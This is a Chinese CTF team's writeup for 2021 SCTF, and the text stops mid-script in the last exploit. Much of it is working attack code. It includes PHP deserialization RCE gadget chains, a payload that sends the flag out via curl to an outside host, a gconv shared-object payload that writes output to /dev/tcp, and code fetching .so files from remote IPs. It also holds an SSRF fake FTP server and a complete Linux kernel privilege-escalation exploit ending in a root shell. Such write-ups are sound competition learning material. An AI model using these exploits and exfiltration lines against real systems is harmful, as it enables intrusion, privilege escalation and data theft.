2021-12-28 | UNLOCK

2021 SCTF SU Writeup


本次2021 SCTF 我们 SU 取得了2nd 🥈的成绩,,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com或直接联系书鱼(QQ:381382770)
以下是我们 SU 本次 2021 SCTF 的 writeup

Web

FUMO_on_the_Christmas_tree

通过给定的一个 gadget class 文件来进行 PHP 反序列化 RCE。观察后发现只有一个类有 destructor,然后所有和系统互动的函数只有 readfile,所以这应该就是入口和出口。剩下的只需要找到一个调用路径从入口到出口。

所有的类都只有一个函数和一些成员变量。函数内部做的操作大概分为两类:

  • 对输入用函数做一些变换
  • 调用其它类的成员函数

我们先看所有对输入做变换的函数。其中有

  1. cryptsha1md5
  2. base64_encode
  3. str_rot13strrevucfirstbase64_decode

第一类是不可逆的,必须避免遇到;第二类是可逆的,但必须满足条件,只有在 base64_encode 后再出现一个 base64_decode 才行,并且两者中间的操作必须最终保证数据一致;第三类是完全可逆的。要注意的是,有的里面还会出现直接的赋值语句,比如 $xxx = $yyy。如果是 $xxx = $xxx(自己赋给自己)的类型则可以,否则的话则需要避免遇到(因为右侧的变量不存在)。

接下来,对于所有的类我们需要建立一个调用关系。类里函数调用的方式有几种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 第一种

public function viqSfkeZ91($DUkiWcRS) {

if (is_callable([$this->pHnfXT0TP, 'T81ZgYZlGt']))

@$this->pHnfXT0TP->T81ZgYZlGt($DUkiWcRS);

}

// 第二种

public function __invoke($value) {

$key = base64_decode('QThTQjRHWm1WRw==');

@$this->BUDQkw->zvHrWpSd($value[$key]);

}

// 第三种

public function __call($name,$value) {

extract([$name => 'FTTh89A9u']);

if (is_callable([$this->IwXv56wBHu, $KDKR9Egl7]))

call_user_func([$this->IwXv56wBHu, $KDKR9Egl7], ...$value);

}

// 第四种

public function ttcoBkt($a06sSms0Pd) {

call_user_func($this->Z9vliIEZ9u, ['upGnwrVnpV' => $a06sSms0Pd]);

}
  • 第一种找哪个类有T81ZgYZlGt
  • 第二种找哪个类有zvHrWpSd
  • 第三种需要看extract里面的参数,找到哪个类有FTTh89A9u。处理的时候要注意第三种等价于第一种的写法:
1
2
3
4
5
6
7
public function KDKR9Egl7($value) {

if (is_callable([$this->IwXv56wBHu, 'FTTh89A9u']))

@$this->IwXv56wBHu->FTTh89A9u($value);

}
  • 第四种只能调用第二种,需要找哪个类的__invoke函数的base64_decode的参数是upGnwrVnpV的 Base64 编码字符串。

如果一个类可以通过某种方式(保证输入是上文所述可逆变化的条件下)带着输入调用另一个类,则可以从这个类到达另一个类。那接下来我们直接在上文建立好调用关系的情况下,在这些类上(看成一个图)从入口开始进行 DFS,中间记录经过的类、函数和对输入进行的变换。如果能够在满足上述条件的情况下到达出口,则成功找到一条调用路径。

剩下的就是用现成的 PHP 解析库解析所有的类,构建上述关系并且跑算法,最后得出一条路径,再手动构造序列化字符串和输入即可。

Upload_it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests

import os

url = "http://124.71.199.229:8778/"

s = requests.Session()

s.get(url)

cookie = s.cookies.get("PHPSESSID")

def store(path,name,con):

r = s.post(url,files={"file":(name,con),"path":(None,path)})

serSes = os.popen("php gadget.php").read()

store("../../../../tmp","sess_"+cookie,serSes)

print(s.post(url,files={"file":("pew","XXD")}).text)
<?php

namespace Symfony\Component\String;

class LazyString {

function __construct() {

$func = function(){system("cat /flag");};

$this->value = new \Opis\Closure\SerializableClosure($func);

}

}

include_once "vendor/autoload.php";

print("upload_path|".(serialize(new \Symfony\Component\String\LazyString())));

Loginme

1
2
3
4
X-real-ip:127.0.0.1

age={{$}}

Ezuros

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests

import os

url = "http://124.70.204.21:7777/"
payload = os.popen("php gadget.php").read()

s = requests.Session()

s.get(url)

s.post(url+"config",json={'XXD|{}FF'.format(payload):'XXD'})

print(s.get(url+"config").text)
<?php

namespace Monolog\Handler

{

class SyslogUdpHandler

{

protected $socket;

function __construct($x)

{

$this->socket = $x;

}

}

class BufferHandler

{

protected $handler;

protected $bufferSize = -1;

protected $buffer;

protected $level = null;

protected $initialized = true;

protected $bufferLimit = -1;

protected $processors;

function __construct($methods, $command)

{

$this->processors = $methods;

$this->buffer = [$command];

$this->handler = clone $this;

}

}

}

namespace {

$cmd = '$(printf "curl https://thegrandpewd\\x2epythonanywhere\\x2ecom/`cat /etc/*/flag`")';

$obj = new \Monolog\Handler\SyslogUdpHandler(

new \Monolog\Handler\BufferHandler(

['current', 'system'],

[$cmd, 'level' => null]

)

);

echo serialize([$obj]);

}

?>

Rceme

diff

1
2
3
pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_exec, pcntl_alarm, pcntl_get_last_error, pcntl_errno, pcntl_strerror, pcntl_getpriority, pcntl_setpriority, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_wifcontinued, pcntl_async_signals, pcntl_unshare, cli_set_process_title, cli_get_process_title, chroot, dl,

strlen, error_reporting, set_error_handler, create_function, preg_match, preg_replace phpinfo, strstr, escapeshellarg, getenv, putenv, call_user_func, unserialize, var_dump, highlight_file, show_source, ini_get , end,

简单看一下,知道是无参数 rce 抄一下脚本,改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def one(s):

ss = ""

for each in s:

ss += "%" + str(hex(255 - ord(each)))[2:].upper()

return f"[~{ss}][!%FF]("

def makeSTR(s):

ss = ""

for each in s:

ss += "%" + str(hex(255 - ord(each)))[2:].upper()

return f"[~{ss}][!%FF]"

"""

组成 system(next(getallheaders()));

a=whoami

"""

def make(xd):

a = xd.strip(")")

aa = a.split("(")

s = ""

for each in aa[:-1]:

s += one(each)

s += ")" * (len(aa) - 1)

return s

然后看一下 php 文档,https://www.php.net/manual/en/functions.arguments.php#:~:text=Example%20%2310%20Using%20…%20to%20provide%20arguments 知道可以用 ...[1,2] 来传多个参数,可以用 create_function 来执行任意 php 代码,还可以序列化传数组,用反序列化函数弄出来就行了。

接下来就是 iconv bypass df 了,抄一下 bytectf final 的,用 filter 绕函数就行。问题比较大就是怎么写文件,调了半天,最后用 SplFileObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import craft

import requests

def arb(s):

return craft.makeSTR(s) + "." + craft.make("var_dump()")

url = "http://localhost:3333"

# payload = """a:2:{i:0;s:198:"){}$url = 'http://47.100.54.220/poc.so';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/payload.so','w');$file->fwrite($a);//";i:1;s:0:"";}"""

payload = """a:2:{i:0;s:208:"){}$url = 'http://47.100.54.220/gconv-modules';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/gconv-modules','w');$file->fwrite($a);//";i:1;s:0:"";}"""

code = craft.makeSTR('call_user_func') + '(' + craft.makeSTR("create_function")

code += "("

code += "..." + craft.makeSTR("unserialize") + "(" + arb(payload) + ")"

code += "));"

#code += craft.make("var_dump(end(getallheaders()))") + ";"

print(code)
<?php

$url = 'http://172.17.16.1/poc.so';

$file = new SplFileObject($url, "r");

$a = "";

while ( ! $file->eof()) {

$a = $a.$file->fgets();

}

$file=new SplFileObject('/tmp/p.so','w');

$file->fwrite($a);
#include <stdio.h>

#include <stdlib.h>

void gconv() {}

void gconv_init() {

puts("pwned");

system("bash -c '/readflag>/dev/tcp/ip/port'");

exit(0);

}

参考https://xz.aliyun.com/t/8669#toc-5

用原生类把so和modules上传到tmp然后用伪协议读一下触发:

1
putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

upload it 2

根据upload it 1 得知用sleep触发,还是一样用LazyString调一下sandbox的backdoor方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Symfony\Component\String{

class LazyString{

private $value;

public function __construct($value){

$this->value = $value;

}

}

}

namespace {

class sandbox {

private $evil;

public function __construct(){

$this->evil = "/flag";

}

}

use Symfony\Component\String\LazyString;

$value = [new sandbox,"backdoor"];

$lazy = new LazyString($value);

$part1 = urlencode('upload_path|s:45:"/tmp/sandbox/2b2f38818b2ac2cd6df0b9cd09e1ad88";|');

echo $part1.urlencode(serialize($lazy));

}
%75%70%6c%6f%61%64%5f%70%61%74%68%7c%73%3a%34%35%3a%22%2f%74%6d%70%2f%73%61%6e%64%62%6f%78%2f%32%62%32%66%33%38%38%31%38%62%32%61%63%32%63%64%36%64%66%30%62%39%63%64%30%39%65%31%61%64%38%38%22%3b%7c%4f%3a%33%35%3a%22%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%22%3a%31%3a%7b%73%3a%34%32%3a%22%00%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%00%76%61%6c%75%65%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%37%3a%22%73%61%6e%64%62%6f%78%22%3a%32%3a%7b%73%3a%31%33%3a%22%00%73%61%6e%64%62%6f%78%00%65%76%69%6c%22%3b%73%3a%35%3a%22%2f%66%6c%61%67%22%3b%73%3a%31%31%3a%22%75%70%6c%6f%61%64%5f%70%61%74%68%22%3b%4e%3b%7d%69%3a%31%3b%73%3a%38%3a%22%62%61%63%6b%64%6f%6f%72%22%3b%7d%7d

贴burp上decode一下post到tmp目录覆盖session

GoFTP

根据题目描述和 hint 信息可以大概猜到预期通过 FTP 来做 SSRF(PASV 模式传文件时,客户端会建立一个新的连接到服务端指定端口)。具体的 HTTP 请求内容在比赛的时候是通过结合逆向和动态调试的方式,触发 binary /api/register 接口本地监听获得的。在通过 SSRF 注册 username 为 admin 的用户之后,可正常登录通过访问 /admin 获得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3

from pwn import *

import time

context.log_level = 'debug'

l = listen(2121)

_ = l.wait_for_connection()

data = listen(9000)

l.sendline(b'220 Test FTP Server')

l.recvuntil(b'USER ')

l.sendline(b'331 Password required')

l.recvuntil(b'PASS')

l.sendline(b'230 User logged in')

l.recvuntil(b'TYPE')

l.sendline(b'200 Switching to Binary mode')

l.recvuntil(b'PASV')

time.sleep(5)

l.sendline(b'227 Entering Passive Mode (127,0,0,1,35,40)')

l.recvuntil(b'STOR')

l.sendline(b'150 Opening BINARY mode data connection for foo.txt')

#_ = data.wait_for_connection()

#data.recvall()

l.sendline(b'226 Transfer complete')

l.recvuntil(b'QUIT')

l.close()

1
2
3
4
5
6
7
8
9
10
11
12
13
14

PUT /api/user HTTP/1.1

Host: 127.0.0.1:9000

User-Agent: GRequests/0.10

Content-Length: 71

Content-Type: application/json

Accept-Encoding: gzip

{"email": "admin@foo.org", "username": "admin", "password": "ahDi3aid"}

Misc

This_is_A_tree

一颗圣诞树,还有好多礼物,flag需要SCTF{}噢 ,a beautiful tree,U need to know some Chinese traditional knowledge,flag need a “SCTF{your_flag}”

遍历bata+base64+中文转二进制转ascii

中序遍历后的字符串为:Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==

base64后:

Chinese traditional culture is broad and profound! So I Want Give You My Flag But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫

https://github.com/BjdsecCA/BJDCTF2020_January参考里面的伏羲六十四卦

然后中文转二进制:

010000110110100000110001011011100100000101011111011110010111100101100100011100110010000100

二进制转出ascii

Ch1nA_yyds!

fumo_xor_cli

nc 124.70.150.39 2333

nc 123.60.107.154 2333

FUMOFUMO FUMO FUMOFUMO?(flag中没有数字)

img

Fumo 中间夹着两段彩色的文字,其中一部分包含一个链接

https://mp.weixin.qq.com/s/E_iDJBkVEC4jZanzvqnWCA

里面有张图

https://imgtu.com/i/TpMSkq

img

img

按照题目名称的意思,提取这里面的每个像素点,和 cli 里面的那个进行异或

图片中一行100个 总共 13300 个色块

img

Shell 里拿 pwntools 接收 提取出来有 6650 个字符,正好2倍

img

图里这个顺序正好和shell里第二段五颜六色的字符颜色顺序一样,异或之后发现前6650位几乎完全一致,后面不一样

后面那一半和 cli 前面那部分彩色的颜色(aaaaa….)来异或

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# MiaoTony

# from pwn import *

# host = '124.70.150.39'

# port = 2333

# r = remote(host, port)

# s = r.recvall()

# print(s[:100])

# print(s[-100:])

# with open('data', 'wb') as f:

# f.write(s)

import re

from PIL import Image

img = Image.open('TpMSkq.png')

# img.show()

img.size

# (900, 1200)

# 纵向来提取

data = []

for i in range(1, img.size[0], 9):

for j in range(1, img.size[1]-9, 9):

r, g, b, a = img.getpixel((i, j))

print(r, g, b, a)

data.append((r, g, b))

# print(data)

print(len(data))

# 13300

with open('colors2', 'w', encoding='utf-8') as f:

f.write(str(data))

with open('data2.txt', 'rb') as f:

s = f.read()

with open('data1.txt', 'rb') as f:

s += f.read()

# print(s)

# s[:100]

l = re.findall(b'\x1b\[38;2;(\d+);(\d+);(\d+)m', s)

# print(l)

colors = [tuple(int(i) for i in j) for j in l]

print(len(colors))

# 6650

data_new = []

for i in range(len(colors)):

x = ()

for j in range(3):

tmp = data[i][j] ^ colors[i][j]

x += (tmp,)

print(x)

data_new.append(x)

with open('data_xor.txt', 'w') as f:

f.write(str(data_new))

img1 = Image.new('RGB', (133, 100), (255, 255, 255))

img1.putdata(data_new)

img1.save('out.png')

img1.show()

img

翻转旋转一下得到 flag

SCTF{Good_FuMo_CTF_OvO}

in_the_vaporwaves

something in the vaporwaves(题目flag格式为 SCTF(.) 请自行加上花括号为 SCTF{.} 提交)

附件链接:https://pan.baidu.com/s/1W9RISgb8O7WxX_P09IiEpA

提取码:sctf

img

修改频谱大一点 mose解密

img

easydsp

题目附件包含 4 个数据文件,每个数据文件为 126000 个浮点数。参考题目描述,将数据文件按照音频文件理解,转换为 wav (适当压缩幅度),可以听到四段音乐混合不同类型的杂音。考虑到样本点幅度超过了 -1 ~ 1 的范围,猜测出题人可能将两段音频文件直接加在了一起,因此尝试了一下计算 data1 - data2 的结果,画图如下

img

可以从差值中看出采用了类似 BPSK 调制方式进行编码,周期为 1000 个采样点。完整的文件可以编码 126 bit 内容。126 不是 8 的倍数,是 7 的倍数,猜测有可能是使用 7bit 编码一个字符的方式。一些尝试后可还原出 flag 的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
data = []

for i in range(1, 5):

data.append(np.array(list(map(float, open(f'data{i}.txt').read().strip().splitlines()))))

diff = data[0] - data[1]

def get_bit(x):

return 1 if np.sum(x[200:300]) / 100 > 0 else 0

bits = [get_bit(diff[d:d + 1000]) for d in range(0, 126000, 1000)]

print(bits)

t = 0

flag = []

for i in range(0, len(bits)):

t = (t << 1) + bits[i]

if i % 7 == 6:

flag.append(chr(t))

t = 0

print(repr(''.join(flag)))

easyiot

题目给了一个用户程序、一个加密后的文件和一个内核模块。用户程序把一个文本文件(device_tree.txt)逐字符 RSA 加密输出。由于加密方式是一一映射,可以通过加密后结果出现的频率与字符出现频率对照大大缩小爆破的空间,此处可通过爆破的方式得到 RSA 的参数 (n = 391, d = 305),不过这个参数实际上在内核模块中也有,不需要爆破。。得到参数后解密 device_tree.txt 内容如下

Congratulations on helping B find the device tree plug-in,Here are some tips, Embedded Engineer A, wants to send a message requesting a connection to the server using an IoT device Distribute up to once, and the server clears the session after it receives it, and the server kicks the device off after more than 2 minutes of idleness.This message appears on the screen of the IoT device (read as normal) Can you get the data that A enters into the IoT device? (Remember to put “sctf{}” on it)

逆向内核模块逻辑可得 user password 内容为 chengdu106520013 (AES 解密),以及一个比较正常的 LED 显示输出的逻辑(可以从 https://github.com/Embedfire/embed_linux_tutorial/tree/master/base_code/linux_driver/ecSPI_OLED 找到修改前的源码)。

仅通过 device_tree.txt 的内容没有脑洞出来这些和 flag 的关系是怎样的。。。在看到 hint 给出的 message 之后,可以看到 MQTT 相关的信息,猜测可能是想把 MQTT 报文内容作为 flag 提交。在一番与出题人确认信息后(比如相比标准协议少掉一个字节是什么情况),又注意到 LED 输出的部分排序方式与正常不太一样,驱动中实现的是逐列输出,如果想“正常读出”的话需要做转置。多次尝试后终于拼出了正确的 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

import binascii

context.endian = 'big'

client_id = b"21"

user = b'A'

password = b'chengdu106520013'

datalen = 10 + len(client_id) + 2 + len(user) + 2 + len(password) + 2 - 1

buf = b"\x10" + bytes([datalen, 4]) + b'MQTT' + b"\x04" + b"\xc2\x00\x50" + p16(len(client_id)) + client_id + p16(len(user)) + user + p16(len(password)) + password

pkt = binascii.hexlify(buf).upper().decode()

reorder = ''

for j in range(0, 12):

for i in range(0, len(pkt), 12):

reorder += pkt[i + j]

flag = 'sctf{' + reorder + '}'

print(flag)

Pwn

dataleak

CVE-2019-11834 直接泄露即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

# sh = process('./cJSON_PWN')

sh= remote('124.70.202.226',2101)

# gdb.attach(sh,'b * $rebase(0x120d)')

payload = "/*".rjust(0xe,'b')

# payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("aaaa/*".ljust(0xe,'a'))

payload = "b" * (0xb-6) +"/*"

payload = payload.ljust(0xe,'a')

sh.send(payload)

sh.send("/*".ljust(0xe,'a'))



sh.interactive()

flyingkernel

This was the only kernel challenge for SCTF this year.

The vulnerable device driver was /dev/seven.

They were multiple vulnerabilities that when combined can lead to LPE.

You can allocate a chunk of size 0x80 using the command 0x5555 in ioctl.

Using the command 0x6666 you can get that chunk freed but not nulled (UAF).

The last ioclt command was 0x7777 we can use this to get format string attack and bypass KASLR.

And the most important thing is that SMAP is disabled, which means if we can get our leaks using

the format string attack and then get RIP, we can pivot our stack and just ROP ; commit_creds(prepare_kernel_cred(0)) and swapgs iretq.

So now we have UAF on a chunk with size 0x80, which means it will get the chunk from kmalloc-128

The problem is that there are not much structs we can target for this specific slab.

But good for use there is struct subprocess_info which can give RIP control.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct subprocess_info {

struct work_struct work;

struct completion *complete;

const char *path;

char **argv;

char **envp;

int wait;

int retval;

int (*init)(struct subprocess_info *info, struct cred *new);

void (*cleanup)(struct subprocess_info *info);

void *data;

} __randomize_layout;

if we can control cleanup we can control rip (but we have to be quick, this struct is allocated and it uses cleanup quickly).

You can allocate this struct just using this line of code : socket(22, AF_INET, 0); it’s okey if it fails and return -1 it will still be allocated.

So the plan is this:

  • Take advantage of the format string vuln to get leaks (don’t use %p they are detected by the kernel as information leak and it will show up as ptr and not the actual value in my exploit I provided %lld) and now we have the kernel base.

  • Free that chunk and execute that socket() to get advantage of the UAF and overwrite cleanup with a gadget, in my case it was

1
2
3
0xffffffff816e19bc:        mov    esp,0x83000000

0xffffffff816e19c1: ret
  • I mentioned that we should be quick to overwrite that (so that our gadget gets executed and not the actual cleanup value). userfault_fd was not available to make the race reliable. What I did was I spawned a thread which write to /dev/seven in infinite loop, and hope for cleanup to be overwritten before use.

  • mmap that region of memory and put our ROP there, elevate our privs and execute shell.

The complete exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
#include <stdio.h>

#include <fcntl.h>

#include <assert.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/ioctl.h>

#include <string.h>

#include <sys/socket.h>

#include <pthread.h>

#include <stdlib.h>

#include <sys/mman.h>

int fd;

// We can launch ioctl / read / write for this device driver.

// For ioctl command we have:

// 0x6666 for UAF

// 0x7777 for Fmt string vuln

// 0x5555 alloc of size 0x80

#define ALLOC 0x5555

#define UAF 0x6666

#define GET 0x7777

struct trap_frame{

char* rip;

unsigned long cs;

unsigned long rflags;

char* rsp;

unsigned long ss;

}__attribute__((packed));

struct trap_frame tf;

void save_state(void){

asm volatile( "mov tf+8, cs;"

"pushf;"

"pop tf+16;"

"mov tf+24, rsp;"

"mov tf+32, ss;"

);

}

void open_target(void)

{

fd = open("/dev/seven", O_RDWR);

assert(fd > 0);

}

int lock;

void *memset_buf(void *tmp)

{



unsigned long buf[4];

for(int i = 0; i < 4; i++){

buf[i] = (unsigned long)tmp;

}

/*

char buf[0x81];

memset(buf, 'M', 0x80);

*/

lock = 1;

while(1)

{

write(fd, buf, 0x20);

}

return tmp;

}

void shell(void){

char* argv[] = {"/bin/sh", NULL};

execve(argv[0], argv, NULL);

}

void setup_chunk_rop(unsigned long kernel_base)

{

unsigned long *rop;

int i = (0x1000000/2)/8;

unsigned long commit_creds = kernel_base + (0xffffffff8108c360 - 0xffffffff81000000);

unsigned long prepare_kernel_cred = kernel_base + (0xffffffff8108c780 - 0xffffffff81000000);

unsigned long pop_rdi = kernel_base + 0x16e9;

unsigned long mov_rdi_rax = kernel_base + (0xffffffff813d7369 - 0xffffffff81000000);

unsigned long mov_rdi_rax_rep = kernel_base + (0xffffffff81aed04b - 0xffffffff81000000);

unsigned long pop_rcx = kernel_base + (0xffffffff8101ed83 - 0xffffffff81000000);

unsigned long mov_cr3_rdi = kernel_base + (0xffffffff8105734a -0xffffffff81000000); //: mov cr3, rdi ; ret

unsigned long or_rax_rdx = kernel_base + (0xffffffff81018d2c -0xffffffff81000000); //: or rax, rdx ; ret

unsigned long pop_rdx = kernel_base + (0xffffffff8104abb7-0xffffffff81000000); // pop rdx; ret

unsigned long pop_rax = kernel_base + (0xffffffff8100ec67-0xffffffff81000000); // pop rax; ret

unsigned long mov_rax_cr3 = kernel_base + (0xffffffff81057fab-0xffffffff81000000); //: mov rax, cr3 ; mov cr3, rax ; ret

unsigned long mov_cr3_rax = kernel_base + (0xffffffff81057fae - 0xffffffff81000000);//: mov cr3, rax ; ret

unsigned long swapgs = kernel_base + (0xffffffff81c00f58 - 0xffffffff81000000);

unsigned long iretq = kernel_base + (0xffffffff81024f92 - 0xffffffff81000000);

unsigned long swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);



/*

0xffffffff816e19bc: mov esp,0x83000000

0xffffffff816e19c1: ret

*/

unsigned long pivot = kernel_base + 0x6e19bc;



rop = mmap(0x83000000-(0x1000000/2), 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

for (int i = 0; i < 0x4 + (0x1000000/2)/8;)

rop[i++] = 0xffffffff816e19bc;



//rop[i++] = mov_rax_cr3;

//rop[i++] = pop_rdx;

//rop[i++] = 0x1000;

//rop[i++] = or_rax_rdx;

//rop[i++] = mov_cr3_rax;

rop[i++] = pop_rdi;

rop[i++] = 0;

rop[i++] = prepare_kernel_cred;

rop[i++] = pop_rcx;

rop[i++] = 0;

rop[i++] = mov_rdi_rax_rep;

rop[i++] = commit_creds;

rop[i++] = swapgs_restore;

rop[i++] = 0;

rop[i++] = 0;

rop[i++] = shell;

rop[i++] = tf.cs;

rop[i++] = tf.rflags;

rop[i++] = tf.rsp;

rop[i++] = tf.ss;

rop[i++] = kernel_base +( 0xffffffff816e19bc - 0xffffffff81000000);



printf("ROP fake stack %p\n", rop);

}

// When testing when being already root.

unsigned long get_text_base(void)

{

char b[0x10000];

char *p;

int ret;

unsigned long leak;

int kmsg = open("/dev/kmsg", O_RDONLY);

assert(kmsg > 0);

ret = read(kmsg, b, 0x10000);

assert(ret > 0);



p = strchr(b, 0xff);

leak = strtoul(p+1, NULL, 10);

leak -= 0x1f3ecd;

return leak;

}

int main(int argc, char *argv[])

{

char buf[0x81];

int ret;

unsigned long kernel_base;

save_state();

// open the target device driver.

open_target();

ret = ioctl(fd, ALLOC, 0x80);

assert(ret == 0);



//memset(buf, 'M', 0x80);

strcpy(buf, "data : %lld %lld %lld %lld %lld \xff%lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld\n");

ret = write(fd, buf, 0x80);

assert(ret > 0);

// Trying to printk that data we wrote.

ret = ioctl(fd, GET, 0);

assert(ret == 0);

// trying to have the text base!

if (argc == 1)

exit(1);

else

kernel_base = strtoul(argv[1], NULL, 16) - 0x1f3ecd;

//kernel_base = get_text_base();

printf("Kernel base %lx\n", kernel_base);

setup_chunk_rop(kernel_base);

getchar();

// trying to fill that freed chunk with struct subprocess_info

// Trying to bruteforce it.

//sleep(0.1);

// Trying to free our chunk for UAD

ret = ioctl(fd, UAF, 0);

assert(ret == 0);

pthread_t tid;

pthread_create(&tid, NULL, memset_buf, kernel_base + 0x6e19bc);

sleep(0.3);

for(int i = 0; i < 0x1; i++)

ret = socket(22, AF_INET, 0);

//write(fd, buf, 0x20);

sleep(0.3);

lock = 0;

//printf("socket returned %d\n", ret);

getchar();

}

Christmas Wishes

漏洞点在parser_string中没有考虑转义\”的情况 导致堆溢出

字符串中不能写\x00的问题用\u0000绕过 同理可以用hex_parse写任何不可见字符

控制tcache fd为free_hook后用setcontext rop反弹shell出来即可执行gift

远程可先使用readflag读”/proc/self/maps” 泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
from pwn import *

def create_php(buf):

with open("pwn.php", 'wb+') as pf:

pf.write(b'''<?php

$data = jsonparser("%s");

readfile($data);

?>'''%buf)

def create_php2(buf):

with open("pwnjson", 'wb+') as pf:

pf.write(b'''%s'''%buf)

context.arch = 'amd64'

def pp64(num):

payload = rb""

